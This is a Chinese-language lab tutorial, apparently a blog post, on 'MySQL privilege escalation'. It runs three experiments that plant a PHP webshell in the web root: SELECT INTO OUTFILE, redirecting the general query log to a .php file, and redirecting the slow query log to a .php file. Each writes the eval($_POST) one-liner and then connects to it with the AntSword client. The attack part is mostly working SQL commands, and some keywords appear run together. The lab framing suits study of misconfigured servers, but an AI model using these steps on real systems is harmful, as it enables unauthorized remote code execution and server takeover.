MySQL数据库提权
利用MySql文件导出机制,由于未对文件导出路径进行限制,从而可以利用**secure_file_priv**参数、**日志**、**慢日志**等导出含带恶意代码的PHP文件,获取webshell。
一、实验原理
利用MySql文件导出机制,由于未对文件导出路径进行限制,从而可以利用secure_file_priv参数、日志、慢日志等导出含带恶意代码的PHP文件,获取webshell。
二、环境搭建
在Windows系统中,可在PhpStady的mysql.ini文件中,进行查看


如果没有,可手动添加secure_file_priv=‘’
secure_file_priv参数如果为‘ ’表名允许任意导出即两个单引号之间什么都不打
在Linu系统中

secure_file_priv参数如果为null表名不允许导出
实验成功还有一个要求
当前mysql用户是否为root,必须知道web的绝对路径
三、实验一
1、实验目的
利用secure_file_priv参数未限制导出路径,实现webshell的获取
2、实验流程
1)打开PhpStady自带的Mysql Front

2)输入命令,点击执行
select 1,'<?=eval($_POST["X"])?>' into outfile "D:\\phpstudy_pro\\WWW\\qqq.php";

-
查看生成的PHP文件

-
打开网页进行文件是否能成功执行木马文件

能成功执行木马文件
-
连接中国蚁剑


四、实验二
1、实验目的
general_log_file为日志存储路径,mysql未限制日志文件后缀,故可伪造php后缀为日志文件,从而利用数据库日志文件导出路径,实现webshell的获取。
2、实验流程
1)查看当前数据库操作日志的配置,查看general_log为日志实时记录是否开启
showvariableslike"%general%"

未开启
-
开启general_log
分别执行以下语句
setGLOBAL general_log=on

setGLOBAL general_log_file="D:\\phpstudy_pro\\WWW\\log.php"

注:该操作需要mysql能够在中间件文件夹内创建文件
再查看general_log是否打开

-
开启记录后每一条sql执行语句都会被记录

4)此时输出恶意语句,同样会被记录在日志文件中
select'<?=eval($_POST["X"])?>'


成功被记录在日志文件中
-
执行代码

木马植入成功
五、实验三
1、实验目的
由于设计的特性,当数据库命令执行响应超时,该执行的命令就会被记录在慢日志中
利用慢日志(slow_query_log)导出路径,实现webshell的获取。
2、实验流程
1)查看当前数据库操作日志的配置,查看slow_query_log慢日志实时记录是否开启
showvariableslike"%slow%"#配置是否开启

showvariableslike"%long_query_time%"#查看慢日志超时记录的时间

2)开启slow_query_log配置
setGLOBAL slow_query_log=on#开启slow_query_log配置

setGLOBAL slow_query_log_file="D:\\phpstudy_pro\\WWW\\slowlog.php";#生成日志文件

select'<?=eval($_POST["X"])?>',sleep(13);#插入木马

-
执行木马文件

执行成功

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐
所有评论(0)